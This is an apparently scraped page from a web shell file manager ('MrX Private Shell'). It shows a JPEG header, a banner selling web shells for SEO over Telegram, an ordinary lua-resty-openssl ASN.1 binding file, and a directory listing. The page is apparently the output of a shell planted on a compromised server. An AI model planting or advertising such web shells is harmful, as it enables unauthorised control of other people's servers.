����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
local ffi = require "ffi"
local C = ffi.C
require "resty.openssl.include.ossl_typ"
local OPENSSL_3X = require("resty.openssl.version").OPENSSL_3X
ffi.cdef [[
typedef struct ASN1_VALUE_st ASN1_VALUE;
typedef struct asn1_type_st ASN1_TYPE;
ASN1_IA5STRING *ASN1_IA5STRING_new();
int ASN1_STRING_type(const ASN1_STRING *x);
ASN1_STRING *ASN1_STRING_type_new(int type);
int ASN1_STRING_set(ASN1_STRING *str, const void *data, int len);
ASN1_INTEGER *BN_to_ASN1_INTEGER(const BIGNUM *bn, ASN1_INTEGER *ai);
BIGNUM *ASN1_INTEGER_to_BN(const ASN1_INTEGER *ai, BIGNUM *bn);
typedef long time_t;
ASN1_TIME *ASN1_TIME_set(ASN1_TIME *s, time_t t);
int ASN1_INTEGER_set(ASN1_INTEGER *a, long v);
long ASN1_INTEGER_get(const ASN1_INTEGER *a);
int ASN1_ENUMERATED_set(ASN1_ENUMERATED *a, long v);
int ASN1_STRING_print(BIO *bp, const ASN1_STRING *v);
int ASN1_STRING_length(const ASN1_STRING *x);
]]
local function declare_asn1_functions(typ, has_ex)
local t = {}
for i=1, 7 do
t[i] = typ
end
ffi.cdef(string.format([[
%s *%s_new(void);
void %s_free(%s *a);
%s *%s_dup(%s *a);
]], unpack(t)))
if OPENSSL_3X and has_ex then
ffi.cdef(string.format([[
%s *%s_new_ex(OSSL_LIB_CTX *libctx, const char *propq);
]], typ, typ))
end
end
declare_asn1_functions("ASN1_INTEGER")
declare_asn1_functions("ASN1_OBJECT")
declare_asn1_functions("ASN1_STRING")
declare_asn1_functions("ASN1_ENUMERATED")
ffi.cdef[[
const unsigned char *ASN1_STRING_get0_data(const ASN1_STRING *x);
]]
local ASN1_STRING_get0_data = C.ASN1_STRING_get0_data
return {
ASN1_STRING_get0_data = ASN1_STRING_get0_data,
declare_asn1_functions = declare_asn1_functions,
has_new_ex = true,
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| evp | Folder | 0755 |
|
|
| x509 | Folder | 0755 |
|
|
| asn1.lua | File | 1.69 KB | 0644 |
|
| bio.lua | File | 385 B | 0644 |
|
| bn.lua | File | 2.47 KB | 0644 |
|
| conf.lua | File | 214 B | 0644 |
|
| crypto.lua | File | 469 B | 0644 |
|
| dh.lua | File | 1.25 KB | 0644 |
|
| ec.lua | File | 1.95 KB | 0644 |
|
| ecdsa.lua | File | 497 B | 0644 |
|
| err.lua | File | 1.02 KB | 0644 |
|
| evp.lua | File | 5.21 KB | 0644 |
|
| hmac.lua | File | 502 B | 0644 |
|
| objects.lua | File | 637 B | 0644 |
|
| ossl_typ.lua | File | 2.78 KB | 0644 |
|
| param.lua | File | 3.45 KB | 0644 |
|
| pem.lua | File | 2.07 KB | 0644 |
|
| pkcs12.lua | File | 1.14 KB | 0644 |
|
| provider.lua | File | 1.02 KB | 0644 |
|
| rand.lua | File | 544 B | 0644 |
|
| rsa.lua | File | 876 B | 0644 |
|
| ssl.lua | File | 2.92 KB | 0644 |
|
| stack.lua | File | 1.1 KB | 0644 |
|
| x509_vfy.lua | File | 4.57 KB | 0644 |
|
| x509v3.lua | File | 3.59 KB | 0644 |
|